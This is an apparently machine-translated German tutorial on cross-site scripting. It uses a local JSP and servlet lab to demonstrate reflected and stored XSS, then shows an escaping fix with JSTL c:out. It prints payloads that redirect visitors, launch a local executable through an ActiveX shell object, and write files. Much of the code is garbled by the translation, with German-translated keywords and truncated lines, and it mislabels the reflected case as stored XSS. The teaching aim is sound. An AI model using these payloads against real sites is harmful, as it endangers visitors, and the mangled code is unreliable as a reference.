Vorwort
Hallo allerseits, ein guter Mann bin ich, ich bin ein guter Mann, ich bin -0nise. Auf den wichtigsten Plattformen zur Berichterstattung über Verwundbarkeit sehen wir häufig XSS -Schwachstellen. Die Frage ist also, warum diese Verwundbarkeit auftritt. Wie sollte diese Sicherheitsanfälligkeit repariert werden?
Text
1.xss? XSS? Was zum Teufel ist XSS?
XSS wird auch als Cross Site Scripting bezeichnet. Ich werde ihm nicht sagen, dass es ursprünglich CSS genannt wurde, aber um nicht mit den CSS -Blättern im Cascading -Stil verwechselt zu werden. CSS (Cross-Site Scripting Attack), CSS (Cascading Style Sheet) ist albern und können den Unterschied nicht erkennen. Es heißt also XSS.
2.Was sind die Gefahren von XSS?
Experiment 1:
0x00 Konstruktcode
<%@ page Language = "java" import = "java.util. "-// w3c // dtd html 4.01 transitional // en"> <html> <kopf> <base href = "<%= basepath%>"> <titels> my jsp 'index.jsp' Startseite </title> <meta http-äquiv = "pagma" content = "no-cache"> <meta http-äquiv = "cache" cache " content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <%//Set encoding request.setcharactercoding ("utf-8"); // Empfangen Sie eingehender Wert von Benutzer eingehender Wert String tmp = request.getParameter ("OPR"); // standardmäßig eingehender Wert ist leer, wenn (tmp == null) {out.print ("111"); } else {// transcoding string opr = new String (tmp.getBytes ("ISO-8859-1"), "utf-8"); out.print (OPR); } %> Ich bin zufrieden </div> </body> </html>0x01 Umgebungslayout
0x02 Verwundbarkeit Drill
Wir besuchen: http: // localhost: 8080/xss/index.jsp? Opr = i%e6%98%A5%E7%A7%8B
Dann besuchen Sie: http: // localhost: 8080/xss/index.jsp? Opr = 0nise
Schließlich haben wir ein "großes Gesetz" entdeckt:
Drucken Sie die Seite, die der OPR -Parameter entspricht, gleich. (Es scheint unsinn)
Lass uns ein Bild laden und sehen
Besuchen Sie: http: // localhost: 8080/xss/index.jsp? OPR =%3Cimg%20SRC =%221.Png%22%3E%3C/IMG%3E
Da alle Bilder geladen werden können, werden unsere JS -Dateien auch geladen?
Besuchen: http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E
JS? JS? Ist es also möglich, die Adresse nach dem Sprung zu ändern?
Besuchen Sie: http: // localhost: 8080/xss/index.jsp? Opr =%3cscript%3Elocation
Da XSS JS laden kann, öffnen wir einige lokale Dinge über JS?
Stellen Sie eine MD5.exe -Datei im Voraus ein
Besuchen Sie: http: // localhost: 8080/xss/index.jsp? Opr = <script> var objshell = new ActiveXObject ("wscript.shell"); objshell.run ("g: /work/xss/webroot/md5.exe"); </script>
Da auch lokale Dateien geöffnet werden können, können Sie die Remotedatei Trojaner? Haben Sie eine Computer -Parodie? Dies ist langsam Quadrant. Ich habe es nicht gesagt. . . . .
Alle Dateien können geöffnet werden. Was ist also mit dem Schreiben einiger Dateien?
Besuchen Sie: http: // localhost: 8080/xss/index.jsp? Opr =%3cscript%3evar%20fso, tf; fso%20 =%20New%20ActivexObject (%22Scripting.FilesystemSystem 22); TF.WriteLine (%22i%e6%98%A5%E7%A7%8B%E7%A4%E5%8C%ba%e6%A2%E8%bf%8e%e6%82%%%22); TF.CLOSE ();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E
Durch die obigen Experimente können wir den OPR -Parameterzuweisungsvorgang sehen. Wenn der OPR -Parameter keinen Wert hat, kann er nicht ausgeführt werden. Die angegriffene Person muss auf den im Voraus entworfenen Angreifer zugreifen, bevor er angreift. Diese XSS -Angriffsmethode heißt: Storage XSSS
Wenn Sie ein leistungsfähigeres Experiment sehen möchten, lesen Sie bitte weiter.
Experiment 2:
Vorwort:
Die meisten Websites befassen sich mit Daten. Wie sehen diese Websites aus, wenn XSS -Schwachstellen erscheinen?
0x00 Konstruktcode
Datenbankteil
Basiertao.java
Java.sql.Connection importieren; import Java.sql.driverManager; Import Java.sql.PrepararedStatement; Import Java.SQL.Resultset; Importieren Sie Java.sql.sqLexception importieren Java.sql.statement; try {class.forname ("com.microsoft.sqlserver.jdbc.sqlserverdriver"); conn = driverManager.getConnection ("JDBC: SQLSERVER: // localhost: 1433; DataBaseName = SQLTMP", "SA", "SA"); } catch (classNotFoundException e) {e.printstacktrace (); } catch (sqlexception e) {e.printstacktrace (); } return conn; } // Methode zum Schließen der Verknüpfung public void closAll (Verbindung conn, Anweisung stat, resultSet rs) {try {if (rs! = Null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // Überlastung der schließen Methode public void closeAll (Verbindung conn, prepedStatement pstat, resultSet rs) {try {if (rs! = Null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // weiterhin public void closeAll (Verbindung conn, prepedStatement pstat) {try {if (pstat! = Null) pstat.close () überlasten; if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // öffentliche Methode zum Hinzufügen, Löschen und Ändern der öffentlichen int -Update (String SQL, Object [] pram) {PrepedStatement pstat = null; Verbindung conn = null; int a = 0; try {conn = getConn (); pstat = conn.preparestatement (SQL); // Übertragen Sie den Parametersatz und fügen Sie die Parameterkorrespondenz in der SET zur SQL-Anweisung für (int i = 1; i <= pram.length; i ++) {pstat.setObject (i, pram [i-1]) hinzu; } // Methode A = pStat.executeUpdate () aufrufen; } catch (sqlexception e) {e.printstacktrace (); } endlich {CloseAll (conn, pstat); } return a; }}Commentdao.java
Java.sql.*; Java.util importieren. Liste <Komm> list = new ArrayList <Komm> (); // Datenbankverbindungsobjektverbindung conn = null; // SQL Execution Object PrepedStatement pstmt = null; // Datenbankausführung Return Value Ergebnis RS = NULL; Versuchen Sie {// Datenbanklink erstellen conn = this.getConn (); // SQL -Ausführungsobjekt erstellen pstmt = conn.preparestatement (SQL); // SQL Anweisung Return Value rs = pstmt.executeQuery () ausführen; // lesen Sie while (rs.Next ()) {comment comment = new comm (); comment.setcid (rs.getint ("cid")); comment.setCname (rs.getString ("cname")); comment.setccontext (rs.getString ("ccontext")); list.add (Kommentar); }} catch (Ausnahme e) {e.printstacktrace (); } endlich {// schließen Sie dies.closeAll (conn, pstmt, rs); } Rückgabeliste; } public int addCompment (comm Kommentar) {String sql = "In Kommentare Werte einfügen (?,?)"; // Anzahl der betroffenen Zeilen int Ergebnis = 0; // Datenbankverbindungsobjektverbindung conn = null; // SQL Execution Object PrepedStatement pstmt = null; Versuchen Sie {// Datenbanklink erstellen conn = this.getConn (); // SQL -Ausführungsobjekt erstellen pstmt = conn.preparestatement (SQL); // Setzen Sie die Parameter pstmt.setString (1, comment.getCname ()); pstmt.setstring (2, comment.getCcontext ()); // Führen Sie das SQL -Anweisung Ergebnis = pstmt.executeUpdate () aus; } catch (Ausnahme e) {e.printstacktrace (); } endlich {this.closeAll (conn, pstmt); } Rückgabeergebnis; }}KommentarServlvet
Java.io importieren.*; import Javax.servlet. request.setcharactercoding ("utf-8"); Antwort.SetContentType ("text/html; charSet = utf-8"); Printwriter out = response.getWriter (); String opr = request.getParameter ("OPR"); Commentdao commentdao = new commentdao (); // Abrufen Sie ab, ob der Parameter leer ist, wenn (opr == null || opr.equals ("all")) {request.setattribute ("all", commentDao.getCompment ()); // Forward Request.GetRequestDispatcher ("comment.jsp"). Weiterleiten (Anfrage, Antwort); } else if (opr.equals ("add") {comment comment = new comm (); comment.setCname (request.getParameter ("uname")); comment.setccontext (request.getParameter ("Kontext")); if (commentdao.addCompment (Kommentar)> 0) {out.print ("<Script> alert ('erfolgreich hinterlassen Sie eine Nachricht'); location } else {out.print ("<Script> alert ('meldung fehlgeschlagen'); }} else {request.setAttribute ("all", commentDao.getCompment ()); // Forward Request.GetRequestDispatcher ("comment.jsp"). Weiterleiten (Anfrage, Antwort); } out.flush (); out.close (); } / ** * dopost () * / public void dopost (httpServletRequest Request, httpServletResponse -Antwort) löst ServletException, ioException {dagget (request, response); }}Comment.jsp
<%@ page Language = "java" import = "java.util. Public "-// w3c // dtd html 4.01 transitional // en"> <html> <kopf> <base href = "<%= basepath%>"> <titels> my jsp 'comment.jsp' Startseite </title> <meta http-äquiv = "pagma" content = "no-cache"; content = "no-cache"> <meta http-äquiv = "expires" content = "0"> <meta http-äquiv = "keywords" content = "keyword1, keyword2, keyword3"> <meta http-äquiv if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("commenternServlvet? opr = alle"). Vorwärts (Anfrage, Antwort); } %> <table> < % list <entity.comm> list = (list <entity.comm>) request.getAttribute ("all"); für (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getCname () %> </td> <td> < %= list.get (i) .getCcontext () %> </td> </tr> < %add add add add add add add addl. <textarea rows = "5" cols = "30" name = "context"> </textarea> spitzname: <Eingabe typ 0x01 Verwundbarkeitsexperiment
root@1~#
Wir hinterlassen eine Nachricht auf dem Message Board:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Dann besuchen Sie: http: // localhost: 8080/xss/comment.jsp
Auf diese Weise wird die Software automatisch geöffnet und eine Remotedatei erstellt, solange Sie auf diese Seite zugreifen? Langsam verstehen.
root@2~#
Wir hinterlassen eine Nachricht auf dem Message Board:
Kopieren Sie den Code wie folgt: <Script> var fso, tf; fso = new ActiveXObject ("scripting.filesystemObject");
Dann besuchen Sie: http: // localhost: 8080/xss/comment.jsp
Das Schreiben von Dateien war erfolgreich.
root@3~#
Nachrichteninhalt:
[Code] <Script> location.href = 'http: //bbs.icunqiu.com' </script> [Code]
Besuchen Sie Seite: http: // localhost: 8080/xss/comment.jsp
Besuchen Sie die Nachrichtenseite, um automatisch zur attackspezifischen Website zu springen. Ist das die legendäre Entführung?
3.xss Verteidigungslösung
Wie das Sprichwort sagt, wo immer es Angriff gibt, gibt es Verteidigung. Wie XSS gibt es Angriffsmethoden und Verteidigungslösungen.
EL Ausdruck + JSTL -Tag -Bibliothek
EL (Ausdruckssprache): [size = 12.0000pt], um das Schreiben von JSP zu erleichtern. Die Ausdruckssprache ist von ECMascript- und XPath -Ausdruckssprache inspiriert. Es bietet Methoden zur Vereinfachung der Ausdrücke in JSP, um JSP -Code zu vereinfachen.
JSTL (JSP Standard -Tag -Bibliothek): Open Source JSP Tag Library.
Experiment 1 Verteidigungscode:
<%@ page Language = "java" import = "java.util. request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'index.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-äquiv = "Beschreibung" content = "Dies ist meine Seite"> </head> <body> <div style = "margin: 0 auto"> <% request.setcharactercoding ("utf-8"); String tmp = request.getParameter ("OPR"); // ob der eingehende Wert leer ist, wenn (tmp == null) {out.print ("111"); } else {// transcoding string opr = new String (tmp.getBytes ("ISO-8859-1"), "utf-8"); Request.SetAttribute ("Name", OPR); %> <c: out value = "$ {requestScope.name}"> </c: out> < %} %> Ich bin inhalt </div> </body> </html>Experiment 2 Verteidigungscode:
<%@ page Language = "java" import = "java.util. request.getscheme ()+": //"+request.getServername ()+":"+request.getServerport ()+path+"/";%>
<! DocType html public "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<%= basepath%>"> <title> my jsp 'comment.jsp' Startseite </title> <meta http-äquiv = "content http-äquiv = "cache-control" content = "no-cache"> <meta http-äquiv = "abläuft" content = "0"> <meta http-äquiv = "keywords content =" keyword1, keyword2, keyword3 "> <meta http-äquiv =" content "content" content "content" content " request.setcharactercoding ("utf-8"); if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("commenternServlvet? opr = alle"). Vorwärts (Anfrage, Antwort); } %> <table><!-- Defense XSS Solution--> <c:forEach var="x" items="${requestScope.all }"> <tr> <td> <c:out value="${x.getCName() }"></c:out> </td> <td> <c:out value="${x.getCContext() }"></c:out> </td> </td> </tr> </c: foreach> </table> <form action = "commenternServlvet? opr = add" methode = "post"> <textArea rows = "5" cols = "30" name = "context"> </textArea> spickname: <input type = "text". </body> </html> Abschluss
Die Technologie ist nicht schwarz und weiß und die Spezialisierung ist sehr gut.